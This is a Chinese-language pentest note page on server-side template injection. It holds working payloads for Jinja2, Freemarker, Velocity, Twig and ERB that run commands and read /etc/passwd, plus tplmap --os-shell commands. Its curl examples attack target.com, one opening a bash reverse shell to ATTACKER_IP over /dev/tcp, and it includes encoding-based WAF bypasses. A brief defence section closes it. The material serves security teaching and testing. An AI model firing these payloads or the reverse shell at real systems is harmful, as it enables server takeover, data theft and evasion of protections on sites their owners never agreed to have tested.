---
title: "SSTI - 服务端模板注入"
weight: 20
date: "2026-03-09T08:58:49+08:00"
lastmod: "2026-03-09T08:58:49+08:00"
---

## 漏洞概述

服务端模板注入 (Server-Side Template Injection) 发生在用户输入被直接拼接到模板引擎中执行时。攻击者可以注入恶意模板代码，执行任意命令。

**OWASP Top 10**: A03:2021 (Injection)  
**危害等级**: ⭐⭐⭐⭐⭐

---

## 常见模板引擎

| 语言 | 模板引擎 |
|------|---------|
| Python | Jinja2, Mako, Tornado |
| Java | Freemarker, Velocity, Thymeleaf |
| PHP | Smarty, Twig |
| JavaScript | EJS, Handlebars, Pug |
| Ruby | ERB, Slim |

---

## 漏洞检测

### 手工检测

```
# 数学运算测试
{{7*7}}         # Jinja2: 49
${7*7}          # Freemarker: 49
#{7*7}          # Ruby ERB: 49
<%= 7*7 %>      # ERB: 49
{{7*'7'}}       # Jinja2: 7777777

# 模板语法探测
{{self}}
{{config}}
{{request}}
${class}
#{request}
```

### 工具检测

```bash
# TPLMap (自动化检测)
python2 tplmap.py -u "http://target.com/page?name=*"
python2 tplmap.py -u "http://target.com/page?name=*" --os-shell

# Burp Suite
- 使用 Intruder 测试不同模板语法
- 使用 Scanner 自动检测
```

---

## 利用方法

### Jinja2 (Python)

```python
# 读取配置
{{config}}
{{config.items()}}

# 读取环境变量
{{config.items()|selectattr(0,'eq','SECRET_KEY')}}

# 执行命令
{{''.__class__.__mro__[2].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()}}

# 获取 os 模块
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# 完整 RCE
{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{b['eval']('__import__("os").popen("id").read()')}}
        {% endif %}
      {% endif %}
    {% endfor %}
  {% endif %}
{% endfor %}
```

### Freemarker (Java)

```freemarker
# 读取文件
${product.getClass().forName("java.lang.Runtime").getRuntime().exec("cat /etc/passwd")}

# 执行命令
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}

# 读取环境变量
${configuration.getSetting("auto_import")}
```

### Velocity (Java)

```velocity
# 执行命令
#set($class = {}.class)
#set($method = $class.forName("java.lang.Runtime"))
#set($run = $method.getRuntime())
$run.exec("id")

# 读取文件
#set($str=$class.forName("java.lang.String"))
#set($chr=$class.forName("java.lang.Character"))
#set($str=$class.forName("java.lang.String"))
#set($proc=$class.forName("java.lang.ProcessBuilder"))
#set($proc=$proc.getDeclaredConstructor($str).newInstance("cat /etc/passwd"))
#set($process=$proc.start())
```

### Twig (PHP)

```twig
# 执行命令
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

# 读取文件
{{include("/etc/passwd")}}
```

### ERB (Ruby)

```erb
# 执行命令
<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").readlines() %>

# 读取文件
<%= File.open("/etc/passwd").read %>
```

---

## 实战案例

### 案例 1: Flask + Jinja2

```bash
# 检测
curl "http://target.com/search?q={{7*7}}"

# 信息收集
curl "http://target.com/search?q={{config}}"

# RCE
curl "http://target.com/search?q={{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}"

# 反弹 Shell
curl "http://target.com/search?q={{request.application.__globals__.__builtins__.__import__('os').popen('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"').read()}}"
```

### 案例 2: Java + Freemarker

```bash
# 检测
curl "http://target.com/user?name=${7*7}"

# RCE
curl "http://target.com/user?name=<#assign%20ex%20=%20%22freemarker.template.utility.Execute%22?new()>${ex(%22id%22)}"
```

### 案例 3: Python Tornado

```python
# 漏洞代码
class MainHandler(tornado.web.RequestHandler):
    def get(self):
        name = self.get_argument("name", "")
        template = f"Hello {name}"
        self.write(tornado.template.Template(template).generate())

# 利用
{{handler.settings}}
{{request.connection.context._request.connection.context._request.headers}}
```

---

## 绕过技巧

### WAF 绕过

```python
# 字符串拼接
{{'__clas'+'s__'}}

# 编码绕过
{{request|attr('\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f')}}

# 列表推导
{{[c for c in ().__class__.__base__.__subclasses__()]}}

# 字典访问
{{{}['__class__']}}
```

### 过滤器绕过

```python
# 使用 |attr() 代替 .
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}

# 使用 |map()
{{['id']|map('request','application')}}
```

---

## 防御建议

1. **使用安全模式**
   ```python
   # Jinja2
   env = Environment(autoescape=True)
   # 或使用 SandboxedEnvironment
   from jinja2.sandbox import SandboxedEnvironment
   env = SandboxedEnvironment()
   ```

2. **避免用户输入进入模板**
   ```python
   # ❌ 错误
   template = Template(f"Hello {user_input}")
   
   # ✅ 正确
   template = Template("Hello {{name}}")
   template.render(name=user_input)
   ```

3. **输入验证**
   ```python
   # 白名单过滤
   allowed_chars = re.compile(r'^[a-zA-Z0-9\s]+$')
   if not allowed_chars.match(user_input):
       raise ValueError("Invalid input")
   ```

4. **最小权限原则**
   - 运行在低权限用户
   - 禁用危险函数
   - 限制文件访问

---

## 参考链接

- [HackTricks - SSTI](https://book.hacktricks.wiki/pentesting-web/ssti-server-side-template-injection)
- [PayloadsAllTheThings - SSTI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)
- [PortSwigger - SSTI](https://portswigger.net/web-security/server-side-template-injection)
